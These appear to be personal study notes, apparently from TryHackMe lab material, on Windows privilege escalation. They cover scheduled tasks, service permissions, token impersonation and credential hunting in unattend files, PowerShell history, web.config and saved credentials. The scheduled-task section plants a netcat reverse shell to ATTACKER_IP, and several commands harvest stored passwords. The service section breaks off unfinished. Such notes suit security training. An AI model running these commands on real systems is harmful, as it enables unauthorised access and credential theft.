
## Type of Privilege Escalation

- Scheduled Task
- Service Misconfiguration
- Token & Migration
- Unattended Windows Installations
- Powershell History
- IIS Configuration
- Saved Windows Credentials


## Scheduled Tasks

Looking into scheduled tasks on the target system, you may see a scheduled task that either lost its binary or it's using a binary you can modify.

Find all the schedued Tasks
```
> schtasks /query /fo list /v (ALL THE TASKS)
> schtasks /query /tn {TASK} /fo list /v (ONLY THE TASK)
```

Find the permision needed to edit the task file
```
icacls c:\tasks\{TASK NAME} (I = Inheritance) (F = Full Controle) (icacls = Tool to find permision)
type c:\tasks\{TASK NAME} (check what the task is about)
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\{TASK} (Reverce Shell)
```

Set the attacking machine with a netcat server ready to lisent

```
schtasks /run /tn {TASK} (Launch the vulnerable task or wait until it run)
```


## Service Misconfiguration (REVIEW)

Windows services are managed by the **Service Control Manager** (SCM). The SCM is a process in charge of managing the state of services as needed, checking the current status of any given service and generally providing a way to configure services.

Each service on a Windows machine will have an associated executable which will be run by the SCM whenever a service is started. It is important to note that service executables implement special functions to be able to communicate with the SCM, and therefore not any executable can be started as a service successfully. Each service also specifies the user account under which the service will run.

To better understand the structure of a service, let's check the apphostsvc service configuration with the `sc qc` command:

Command Prompt
```shell-session
C:\> sc qc apphostsvc
```

Here we can see that the associated executable is specified through the **BINARY_PATH_NAME** parameter, and the account used to run the service is shown on the **SERVICE_START_NAME** parameter.

Services have a Discretionary Access Control List (DACL), which indicates who has permission to start, stop, pause, query status, query configuration, or reconfigure the service, amongst other privileges. The DACL can be seen from Process Hacker (available on your machine's desktop):

![Service DACL](https://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/d8244cfd9d64a7be30f5fb0308fd0806.png)  

All of the services configurations are stored on the registry under `HKLM\SYSTEM\CurrentControlSet\Services\`:

![Service registry entries](https://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/06c05c134e4922ec8ff8d9b56382c58f.png)  

A subkey exists for every service in the system. Again, we can see the associated executable on the **ImagePath** value and the account used to start the service on the **ObjectName** value. If a DACL has been configured for the service, it will be stored in a subkey called **Security**. As you have guessed by now, only administrators can modify such registry entries by default.

- **Insecure Permissions on Service Executable (Example)**

	If the executable associated with a service has weak permissions that allow an attacker to modify or replace it, the attacker can gain the privileges of the service's account trivially.

	To understand how this works, let's look at a vulnerability found on Splinterware System Scheduler. To start, we will query the service configuration using `sc`:

	Command Prompt

	```shell-session
	C:\> sc qc WindowsScheduler
	[SC] QueryServiceConfig SUCCESS
	
	SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcuser1
	```

	We can see that the service installed by the vulnerable software runs as svcuser1 and the executable associated with the service is in `C:\Progra~2\System~1\WService.exe`. We then proceed to check the permissions on the executable:

	Command Prompt

	```shell-session
	C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
	C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
	                                  NT AUTHORITY\SYSTEM:(I)(F)
	                                  BUILTIN\Administrators:(I)(F)
	                                  BUILTIN\Users:(I)(RX)
		                              APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
	                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
	
	Successfully processed 1 files; Failed processing 0 files
	```

	And here we have something interesting. The Everyone group has modify permissions (M) on the service's executable. This means we can simply overwrite it with any payload of our preference, and the service will execute it with the privileges of the configured user account.

	Let's generate an exe-service payload using msfvenom and serve it through a python webserver:


## Tokens & Migration

Windows uses tokens to ensure that accounts have the right privileges to carry out particular actions. Account tokens are assigned to an account when users log in or are authenticated. This is usually done by LSASS.exe(think of this as an authentication process).

**Commands**
```
list_tokens -g                         ---> List available tokens
impersonate_token "Token of choice"    ---> Use the selected authority token
```

**Extra** (Once authority, transfer process (since you might not have possibility to do everything)
```
ps                                     ---> list everything running on the machine
target services.exe
migrate `<services number>`
```

This access token consists of:

-   user SIDs(security identifier)
-   group SIDs
-   privileges

amongst other things. More detailed information can be found [here](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens).

There are two types of access tokens:
-   primary access tokens: those associated with a user account that are generated on log on
-   impersonation tokens: these allow a particular process(or thread in a process) to gain access to resources using the token of another (user/client) process

Type of impersonation token
	-   SecurityAnonymous: current user/client cannot impersonate another user/client
	-   SecurityIdentification: current user/client can get the identity and privileges of a client, but cannot impersonate the client
	-   SecurityImpersonation: current user/client can impersonate the client's security context on the local system
	-   SecurityDelegation: current user/client can impersonate the client's security context on a remote system

where the security context is a data structure that contains users' relevant security information.

The privileges of an account(which are either given to the account when created or inherited from a group) allow a user to carry out particular actions. Here are the most commonly abused privileges:

-   SeImpersonatePrivilege
-   SeAssignPrimaryPrivilege
-   SeTcbPrivilege
-   SeBackupPrivilege
-   SeRestorePrivilege
-   SeCreateTokenPrivilege
-   SeLoadDriver
-   SeTakeOwnershipPrivilege
-   SeDebugPrivilege

There's more reading [here](https://www.exploit-db.com/papers/42556).


## Unattended Windows Installations

When installing Windows on a large number of hosts, administrators may use Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network. These kinds of installations are referred to as unattended installations as they don't require user interaction. Such installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations:

-   C:\Unattend.xml
-   C:\Windows\Panther\Unattend.xml
-   C:\Windows\Panther\Unattend\Unattend.xml
-   C:\Windows\system32\sysprep.inf
-   C:\Windows\system32\sysprep\sysprep.xml

As part of these files, you might encounter credentials:

```shell-session
<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>
```


## Powershell History

Whenever a user runs a command using Powershell, it gets stored into a file that keeps a memory of past commands. This is useful for repeating commands you have used before quickly. If a user runs a command that includes a password directly as part of the Powershell command line, it can later be retrieved by using the following command from a `cmd.exe` prompt:

```shell-session
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

**Note:** The command above will only work from cmd.exe, as Powershell won't recognize `%userprofile%` as an environment variable. To read the file from Powershell, you'd have to replace `%userprofile%` with `$Env:userprofile`. 


## IIS Configuration

Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called `web.config` and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:

-   C:\inetpub\wwwroot\web.config
-   C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

Here is a quick way to find database connection strings on the file:

```shell-session
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
```


## Saved Windows Credentials

Windows allows us to use other users' credentials. This function also gives the option to save these credentials on the system. The command below will list saved credentials:

```shell-session
cmdkey /list
```

While you can't see the actual passwords, if you notice any credentials worth trying, you can use them with the `runas` command and the `/savecred` option, as seen below.

```shell-session
runas /savecred /user:admin cmd.exe
```

PuTTY (Saved Credential)
	PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection's parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won't allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials.

	To retrieve the stored proxy credentials, you can search under the following registry key for ProxyPassword with the following command:
	
	```
	reg query HKEY_CURRENT_USER\Software\{USER}\PuTTY\Sessions\ /f "Proxy" /s
	```